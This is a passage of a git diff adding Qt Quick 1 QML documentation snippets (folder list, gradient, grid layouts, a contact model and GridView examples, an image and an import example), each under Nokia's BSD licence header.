+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+import Qt.labs.folderlistmodel 1.0
+
+ListView {
+ width: 200; height: 400
+
+ FolderListModel {
+ id: folderModel
+ nameFilters: ["*.qml"]
+ }
+
+ Component {
+ id: fileDelegate
+ Text { text: fileName }
+ }
+
+ model: folderModel
+ delegate: fileDelegate
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/gradient.qml b/doc/src/snippets/qtquick1/gradient.qml
new file mode 100644
index 0000000000..0d47e6e2d4
--- /dev/null
+++ b/doc/src/snippets/qtquick1/gradient.qml
@@ -0,0 +1,52 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+//![code]
+Rectangle {
+ width: 100; height: 100
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "red" }
+ GradientStop { position: 0.33; color: "yellow" }
+ GradientStop { position: 1.0; color: "green" }
+ }
+}
+//![code]
diff --git a/doc/src/snippets/qtquick1/grid-spacing.qml b/doc/src/snippets/qtquick1/grid-spacing.qml
new file mode 100644
index 0000000000..8914ce31ab
--- /dev/null
+++ b/doc/src/snippets/qtquick1/grid-spacing.qml
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Rectangle {
+ width: 112; height: 112
+ color: "#303030"
+
+ Grid {
+ anchors.horizontalCenter: parent.horizontalCenter
+ anchors.verticalCenter: parent.verticalCenter
+ columns: 2
+ spacing: 6
+
+ Rectangle { color: "#aa6666"; width: 50; height: 50 }
+ Rectangle { color: "#aaaa66"; width: 50; height: 50 }
+ Rectangle { color: "#9999aa"; width: 50; height: 50 }
+ Rectangle { color: "#6666aa"; width: 50; height: 50 }
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/qtquick1/grid/grid-items.qml b/doc/src/snippets/qtquick1/grid/grid-items.qml
new file mode 100644
index 0000000000..62a444d012
--- /dev/null
+++ b/doc/src/snippets/qtquick1/grid/grid-items.qml
@@ -0,0 +1,58 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 112; height: 112
+ color: "#303030"
+
+ Grid {
+ anchors.horizontalCenter: parent.horizontalCenter
+ anchors.verticalCenter: parent.verticalCenter
+ columns: 2
+ spacing: 6
+
+ Rectangle { color: "#aa6666"; width: 50; height: 50 }
+ Rectangle { color: "#aaaa66"; width: 50; height: 50 }
+ Rectangle { color: "#9999aa"; width: 50; height: 50 }
+ Rectangle { color: "#6666aa"; width: 50; height: 50 }
+ }
+}
diff --git a/doc/src/snippets/qtquick1/grid/grid-no-spacing.qml b/doc/src/snippets/qtquick1/grid/grid-no-spacing.qml
new file mode 100644
index 0000000000..a6ca305acc
--- /dev/null
+++ b/doc/src/snippets/qtquick1/grid/grid-no-spacing.qml
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 112; height: 112
+ color: "#303030"
+
+ Grid {
+ anchors.horizontalCenter: parent.horizontalCenter
+ anchors.verticalCenter: parent.verticalCenter
+ columns: 2
+
+ Rectangle { color: "#aa6666"; width: 50; height: 50 }
+ Rectangle { color: "#aaaa66"; width: 50; height: 50 }
+ Rectangle { color: "#9999aa"; width: 50; height: 50 }
+ Rectangle { color: "#6666aa"; width: 50; height: 50 }
+ }
+}
diff --git a/doc/src/snippets/qtquick1/grid/grid-spacing.qml b/doc/src/snippets/qtquick1/grid/grid-spacing.qml
new file mode 100644
index 0000000000..c03cdad701
--- /dev/null
+++ b/doc/src/snippets/qtquick1/grid/grid-spacing.qml
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Rectangle {
+ width: 112; height: 112
+ color: "#303030"
+
+ Grid {
+ anchors.horizontalCenter: parent.horizontalCenter
+ anchors.verticalCenter: parent.verticalCenter
+ columns: 2
+ spacing: 6
+
+ Rectangle { color: "#aa6666"; width: 50; height: 50 }
+ Rectangle { color: "#aaaa66"; width: 50; height: 50 }
+ Rectangle { color: "#9999aa"; width: 50; height: 50 }
+ Rectangle { color: "#6666aa"; width: 50; height: 50 }
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/qtquick1/grid/grid.qml b/doc/src/snippets/qtquick1/grid/grid.qml
new file mode 100644
index 0000000000..758edde738
--- /dev/null
+++ b/doc/src/snippets/qtquick1/grid/grid.qml
@@ -0,0 +1,53 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Grid {
+ columns: 3
+ spacing: 2
+ Rectangle { color: "red"; width: 50; height: 50 }
+ Rectangle { color: "green"; width: 20; height: 50 }
+ Rectangle { color: "blue"; width: 50; height: 20 }
+ Rectangle { color: "cyan"; width: 50; height: 50 }
+ Rectangle { color: "magenta"; width: 10; height: 10 }
+}
+//! [document]
diff --git a/doc/src/snippets/qtquick1/gridview/ContactModel.qml b/doc/src/snippets/qtquick1/gridview/ContactModel.qml
new file mode 100644
index 0000000000..10195fab67
--- /dev/null
+++ b/doc/src/snippets/qtquick1/gridview/ContactModel.qml
@@ -0,0 +1,63 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+ListModel {
+
+ ListElement {
+ name: "Jim Williams"
+ portrait: "pics/portrait.png"
+ }
+ ListElement {
+ name: "John Brown"
+ portrait: "pics/portrait.png"
+ }
+ ListElement {
+ name: "Bill Smyth"
+ portrait: "pics/portrait.png"
+ }
+ ListElement {
+ name: "Sam Wise"
+ portrait: "pics/portrait.png"
+ }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/gridview/gridview.qml b/doc/src/snippets/qtquick1/gridview/gridview.qml
new file mode 100644
index 0000000000..11bb45b0d5
--- /dev/null
+++ b/doc/src/snippets/qtquick1/gridview/gridview.qml
@@ -0,0 +1,163 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![import]
+import QtQuick 1.0
+//![import]
+
+Rectangle {
+ width: childrenRect.width; height: childrenRect.height
+
+Row {
+
+//![classdocs simple]
+GridView {
+ width: 300; height: 200
+
+ model: ContactModel {}
+ delegate: Column {
+ Image { source: portrait; anchors.horizontalCenter: parent.horizontalCenter }
+ Text { text: name; anchors.horizontalCenter: parent.horizontalCenter }
+ }
+}
+//![classdocs simple]
+
+
+//![classdocs advanced]
+Rectangle {
+ width: 300; height: 200
+
+ Component {
+ id: contactDelegate
+ Item {
+ width: grid.cellWidth; height: grid.cellHeight
+ Column {
+ anchors.fill: parent
+ Image { source: portrait; anchors.horizontalCenter: parent.horizontalCenter }
+ Text { text: name; anchors.horizontalCenter: parent.horizontalCenter }
+ }
+ }
+ }
+
+ GridView {
+ id: grid
+ anchors.fill: parent
+ cellWidth: 80; cellHeight: 80
+
+ model: ContactModel {}
+ delegate: contactDelegate
+ highlight: Rectangle { color: "lightsteelblue"; radius: 5 }
+ focus: true
+ }
+}
+//![classdocs advanced]
+
+//![delayRemove]
+Component {
+ id: delegate
+ Item {
+ GridView.onRemove: SequentialAnimation {
+ PropertyAction { target: wrapper; property: "GridView.delayRemove"; value: true }
+ NumberAnimation { target: wrapper; property: "scale"; to: 0; duration: 250; easing.type: Easing.InOutQuad }
+ PropertyAction { target: wrapper; property: "GridView.delayRemove"; value: false }
+ }
+ }
+}
+//![delayRemove]
+
+//![highlightFollowsCurrentItem]
+Component {
+ id: highlight
+ Rectangle {
+ width: view.cellWidth; height: view.cellHeight
+ color: "lightsteelblue"; radius: 5
+ x: view.currentItem.x
+ y: view.currentItem.y
+ Behavior on x { SpringAnimation { spring: 3; damping: 0.2 } }
+ Behavior on y { SpringAnimation { spring: 3; damping: 0.2 } }
+ }
+}
+
+GridView {
+ id: view
+ width: 300; height: 200
+ cellWidth: 80; cellHeight: 80
+
+ model: ContactModel {}
+ delegate: Column {
+ Image { source: portrait; anchors.horizontalCenter: parent.horizontalCenter }
+ Text { text: name; anchors.horizontalCenter: parent.horizontalCenter }
+ }
+
+ highlight: highlight
+ highlightFollowsCurrentItem: false
+ focus: true
+}
+//![highlightFollowsCurrentItem]
+
+//![isCurrentItem]
+GridView {
+ width: 300; height: 200
+ cellWidth: 80; cellHeight: 80
+
+ Component {
+ id: contactsDelegate
+ Rectangle {
+ id: wrapper
+ width: 80
+ height: 80
+ color: GridView.isCurrentItem ? "black" : "red"
+ Text {
+ id: contactInfo
+ text: name + ": " + number
+ color: wrapper.GridView.isCurrentItem ? "red" : "black"
+ }
+ }
+ }
+
+ model: ContactModel {}
+ delegate: contactsDelegate
+ focus: true
+}
+//![isCurrentItem]
+
+}
+
+}
diff --git a/doc/src/snippets/qtquick1/image.qml b/doc/src/snippets/qtquick1/image.qml
new file mode 100644
index 0000000000..97b62e9f9a
--- /dev/null
+++ b/doc/src/snippets/qtquick1/image.qml
@@ -0,0 +1,47 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Image {
+ source: "pics/qtlogo.png"
+}
+//! [document]
diff --git a/doc/src/snippets/qtquick1/imports/chart.qml b/doc/src/snippets/qtquick1/imports/chart.qml
new file mode 100644
index 0000000000..6de02c1f3d
--- /dev/null
+++ b/doc/src/snippets/qtquick1/imports/chart.qml
@@ -0,0 +1,46 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [import]
+import Charts 1.0
+//! [import]
+
+Item {
+}
diff --git a/doc/src/snippets/qtquick1/imports/installed-module.qml b/doc/src/snippets/qtquick1/imports/installed-module.qml
new file mode 100644
index 0000000000..288bdd3773
--- /dev/null
+++ b/doc/src/snippets/qtquick1/imports/installed-module.qml
@@ -0,0 +1,47 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
